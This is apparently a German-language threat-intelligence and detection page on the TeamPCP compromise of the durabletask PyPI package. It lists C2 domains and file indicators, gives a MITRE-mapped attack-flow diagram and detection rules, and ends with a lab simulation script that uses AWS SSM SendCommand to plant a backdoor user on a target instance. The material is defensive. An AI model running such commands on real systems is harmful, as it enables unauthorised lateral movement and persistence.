durabletask: TeamPCPs neuester PyPI-Supply-Chain-Kompromiss
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Ein Angriff auf die Lieferkette zielte auf das Microsoft durabletask Python-Paket auf PyPI ab und führte zur Veröffentlichung bösartiger Versionen 1.4.1, 1.4.2, und 1.4.3. Der Angreifer nutzte Berichten zufolge ein kompromittiertes GitHub-Konto, um ein PyPI-Token zu erhalten und gefährliche Wheel-Dateien hochzuladen. Die bösartige Nutzlast wurde über Seil.pyz Archive geliefert, die darauf ausgelegt waren, Cloud-Anmeldeinformationen zu stehlen und sich auf zusätzliche Systeme auszubreiten. Die Erkennungsbemühungen sollten sich auf bestimmte temporäre Dateien, verdächtige Prozessaktivitäten und den Datenverkehr zu den identifizierten Command-and-Control-Domänen konzentrieren.
Untersuchung
Wiz verknüpfte das kompromittierte GitHub-Konto mit der früheren @antv Kampagne. Ihre Analyse ergab, dass der Angreifer Commit-Nachrichten wiederverwendet und auf durchgesickerte GitHub-Geheimnisse zugegriffen hatte, die das PyPI-Veröffentlichungstoken enthielten. Die bösartigen Wheel-Dateien enthielten eine transformers.pyz Komponente, die Seil.pyz Nutzlasten in /tmp abgelegt und die Command-and-Control-Kommunikation mit check.git-service.com and t.m-kosche.com.
Mitigation
Organisationen sollten möglicherweise exponierte Cloud- und Passwortmanager-Anmeldeinformationen rotieren, die identifizierten Command-and-Control-Domänen und URLs blockieren und nach Infektionsindikatoren wie ~/.cache/.sys-update-check and ~/.cache/.sys-update-check-k8ssuchen. Alle temporären Dateien managed.pyz or rope-*.pyz sollten entfernt und verwandte Python-Prozesse beendet werden. GitHub Actions und PyPI-Veröffentlichungs-Workflows sollten ebenfalls verstärkt werden, um das Risiko einer ähnlichen Kompromittierung zu verringern.
Antwort
Sicherheitsteams sollten jegliche Verwendung von durabletask Versionen 1.4.1 durchsuchen 1.4.3, nach /tmp/managed.pyz and /tmp/rope-*.pyzsuchen und python3 Prozesse überwachen, die diese Dateien ausführen. Ausgehender DNS- und HTTP-Datenverkehr zu check.git-service.com and t.m-kosche.com sollte blockiert werden, während CloudTrail- und Kubernetes-Audit-Logs auf verdächtige SSM- oder kubectl exec Aktivitäten überprüft werden sollten. Betroffene Anmeldeinformationen sollten sofort rotiert und Protokolle des Passwortmanagers auf Anzeichen von Brute-Force- oder unbefugtem Zugriff überprüft werden.
„graph TB
%% Klassen Definitionen
classDef action fill:#99ccff
classDef tool fill:#ffcc99
classDef file fill:#ccffcc
classDef malware fill:#ff9999
classDef credential fill:#ffff99
classDef operator fill:#ff9900
classDef c2 fill:#ffb6c1
%% Knoten
initial_node[„Start: Angreifer erhält gültige GitHub-Anmeldeinformationen“]
class initial_node action
action_initial_access[„Aktion – T1078 Gültige Konten: Kompromittiertes GitHub-Konto gewährt Repository-Zugriff“]
class action_initial_access action
tool_gitHub[„Tool – Name: GitHub
Rolle: Quellcode-Hosting-Plattform“]
class tool_gitHub tool
action_cred_exploit[„Aktion – T1212 Ausbeutung für Anmeldedatenzugang: GitHub-Geheimnisse abgeschöpft, um PyPI-Token zu erhalten“]
class action_cred_exploit action
file_pypi_token[„Datei – Name: PyPI-Token“]
class file_pypi_token file
action_cred_password_stores[„Aktion – T1555.005 Passwortmanager & T1555.006 Cloud Secrets Management Stores: Gesammelte Berechtigungen für Cloud-Plattformen und Passwortmanager“]
class action_cred_password_stores action
credential_aws[„Anmeldeinformation: AWS-Zugriffsschlüssel und SSM-Token“]
class credential_aws credential
credential_azure[„Anmeldeinformation: Azure-Dienst-Principal“]
class credential_azure credential
credential_gcp[„Anmeldeinformation: GCP-Dienstkonto“]
class credential_gcp credential
credential_k8s[„Anmeldeinformation: Kubernetes-Dienstkontotoken“]
class credential_k8s credential
credential_vault[„Anmeldeinformation: HashiCorp Vault-Token“]
class credential_vault credential
action_supply_chain[„Aktion – T1195.002 Kompromittierung der Software-Lieferkette: PyPI-Token verwendet, um bösartige durabletask 1.4.1u20111.4.3-Pakete zu veröffentlichen“]
class action_supply_chain action
tool_pypi[„Tool – Name: PyPI-Repository“]
class tool_pypi tool
malware_durabletask[„Malware – Name: durabletask-Paket (bösartig)“]
class malware_durabletask malware
action_execution[„Aktion – T1204.002 Benutzer Ausführung: Bösartige Datei: Opfer installieren kompromittiertes Paket, das den Nutzlast-Download verursacht“]
class action_execution action
file_managed[„Datei – Pfad: /tmp/managed.pyz“]
class file_managed file
file_rope[„Datei – Pfad: /tmp/rope-*.pyz“]
class file_rope file
action_defense_evasion[„Aktion – T1127 Vertrauenswürdige Entwickler-Dienstprogramme Proxy-Ausführung: Bösartiger Code über Python-Import-Hooks ausgeführt“]
class action_defense_evasion action
action_persistence[„Aktion – T1176 Software-Erweiterungen: Injektionspunkte in __init__.py und anderen Modulen“]
class action_persistence action
action_credential_dumping[„Aktion – T1003 OS-Anmeldedaten-Ausschütten: AWS-SSM-Tokens, Kubernetes-Tokens und Shell-Verlauf extrahiert“]
class action_credential_dumping action
action_lateral_movement[„Aktion – T1570 Seitlicher Werktransfer: Auf zusätzliche Hosts über AWS SSM und Kubernetes exec propagiert“]
class action_lateral_movement action
tool_aws_ssm[„Tool – Name: AWS SSM“]
class tool_aws_ssm tool
tool_k8s_exec[„Tool – Name: Kubernetes exec“]
class tool_k8s_exec tool
op_and((„UND“))
class op_and operator
action_c2[„Aktion – T1219 Fernzugriffstools & T1071.001 Web-Protokolle: Kommuniziert mit C2-Domänen mit /v1/models-Endpunkt“]
class action_c2 action
c2_domain1[„C2-Domäne: check.git-service.com“]
class c2_domain1 c2
c2_domain2[„C2-Domäne: t.mu2011kosche.com“]
class c2_domain2 c2
action_exfiltration[„Aktion – T1048 Exfiltration über alternatives Protokoll: Daten an /api/public/version-Endpunkt gesendet“]
class action_exfiltration action
exfil_endpoint[„Endpunkt: /api/public/version“]
class exfil_endpoint c2
%% Verbindungen
initial_node –>|führt_zu| action_initial_access
action_initial_access –>|ermöglicht| action_cred_exploit
action_cred_exploit –>|erfasst| file_pypi_token
file_pypi_token –>|verwendet_von| action_supply_chain
action_supply_chain –>|veröffentlicht| malware_durabletask
malware_durabletask –>|installiert_von| action_execution
action_execution –>|lädt_herunter| file_managed
action_execution –>|lädt_herunter| file_rope
file_managed –>|ausgeführt_via| action_defense_evasion
file_rope –>|ausgeführt_via| action_defense_evasion
action_defense_evasion –>|etabliert| action_persistence
action_persistence –>|ermöglicht| action_credential_dumping
action_credential_dumping –>|sammelt| credential_aws
action_credential_dumping –>|sammelt| credential_azure
action_credential_dumping –>|sammelt| credential_gcp
action_credential_dumping –>|sammelt| credential_k8s
action_credential_dumping –>|sammelt| credential_vault
credential_aws –>|verwendet_für| action_lateral_movement
credential_k8s –>|verwendet_für| action_lateral_movement
action_lateral_movement –>|nutzt| tool_aws_ssm
action_lateral_movement –>|nutzt| tool_k8s_exec
action_lateral_movement –>|verbreitet_sich_zu| op_and
op_and –>|verbindet_sich_mit| action_c2
action_c2 –>|kontaktiert| c2_domain1
action_c2 –>|kontaktiert| c2_domain2
c2_domain1 –>|erhält_daten_via| action_exfiltration
c2_domain2 –>|erhält_daten_via| action_exfiltration
action_exfiltration –>|sendet_zu| exfil_endpoint
„
Angriffsfluss
Erkennungen
Verdächtiger ausführbarer Download (über Proxy)
Ansehen
Linux-Skript wurde in temporären Ordnern erstellt (via file_event)
Ansehen
Versteckte Datei wurde auf Linux-Host erstellt (via file_event)
Ansehen
IOCs (HashSha256) zur Erkennung: durabletask: Neuester PyPi-Komprimittierung durch TeamPCP
Ansehen
Ausgehende Verbindung zu TeamPCP C2-Domänen [Proxy]
Ansehen
Erkennung der Python-Nutzlastausführung über /tmp/managed.pyz [Linux Prozess Erstellung]
Ansehen
Erkennung der AWS SSM-Ausbreitung über SSM:SendCommand und SSM:DescribeInstanceInformation [AWS Cloudtrail]
Ansehen
Simulation Ausführung
Voraussetzung: Der Telemetrie- & Basislinien-Vorabcheck muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffsnarrativ & Befehle:
Ein Angreifer hat Anmeldeinformationen auf einer kompromittierten EC2-Instanz (Instanz A). Mithilfe dieser Anmeldeinformationen nutzt der Angreifer AWS Systems Manager, um in eine zweite Instanz einzudringen (Instanz B) ohne Netzwerkports zu öffnen. Die Schritte sind:- Aufzählung erreichbarer Instanzen via
SSM:DescribeInstanceInformationum Ziele zu lokalisieren. - Einen bösartigen Befehl ausgeben durchsuchen
SSM:SendCommand(z.B. einen neuen privilegierten Benutzer erstellen) auf der Zielinstanz. - Ausführung validieren indem der Befehlsausgang abgerufen wird.
Der Angreifer verwendet die AWS CLI, die direkt CloudTrail-Ereignisse für beide API-Aufrufe generiert und die Bedingungen der Regel erfüllt.
- Aufzählung erreichbarer Instanzen via
-
Regressionstest-Skript: Das folgende Skript reproduziert den Angriff in einem kontrollierten Labor. Es erwartet, dass die AWS CLI mit Anmeldeinformationen konfiguriert ist, die
ssm:SendCommandandssm:DescribeInstanceInformationBerechtigungen haben.#!/usr/bin/env bash set -euo pipefail # ------------------------------------------------- # Variablen – für Ihre Lab-Umgebung anpassen # ------------------------------------------------- REGION="us-east-1" COMPROMISED_INSTANCE="i-0abcdef1234567890" # Instanz A (Angreifer-Fußstütze) TARGET_INSTANCE="i-0fedcba9876543210" # Instanz B (laterales Ziel) # 1️⃣ Aufzählung der SSM-verwalteten Instanzen (löst DescribeInstanceInformation aus) echo "[*] Aufzählung der SSM-verwalteten Instanzen..." aws ssm describe-instance-information --region "$REGION" --output json > /tmp/ssm_instances.json # 2️⃣ Ein bösartiger Befehl an das Ziel senden (löst SendCommand aus) echo "[*] Senden einer bösartigen Nutzlast an $TARGET_INSTANCE ..." MALICIOUS_CMD="useradd -m eviluser && echo 'evilpass' | passwd --stdin eviluser" aws ssm send-command --instance-ids "$TARGET_INSTANCE" --document-name "AWS-RunShellScript" --comment "Bösartigen Benutzer beibehalten" --parameters commands=["$MALICIOUS_CMD"] --region "$REGION" --output json > /tmp/ssm_sendcommand.json # 3️⃣ Befehl ID abrufen und auf Abschluss warten (optional) CMD_ID=$(jq -r '.Command.CommandId' /tmp/ssm_sendcommand.json) echo "[*] Befehls ID: $CMD_ID – Warte auf Ausführung..." aws ssm list-command-invocations --command-id "$CMD_ID" --details --region "$REGION" --output json echo "[+] Simulation abgeschlossen. CloudTrail sollte nun sowohl SSM:DescribeInstanceInformation als auch SSM:SendCommand Ereignisse enthalten." -
Bereinigungsbefehle: Den bösartigen Benutzer entfernen und jegliche verbleibende Befehlsverlauf löschen.
#!/usr/bin/env bash set -euo pipefail REGION="us-east-1" TARGET_INSTANCE="i-0fedcba9876543210" echo "[*] Bereinigung bösartiger Artefakte auf $TARGET_INSTANCE ..." CLEANUP_CMD="userdel -r eviluser || true" aws ssm send-command --instance-ids "$TARGET_INSTANCE" --document-name "AWS-RunShellScript" --comment "Bereinigung nach dem Test" --parameters commands=["$CLEANUP_CMD"] --region "$REGION"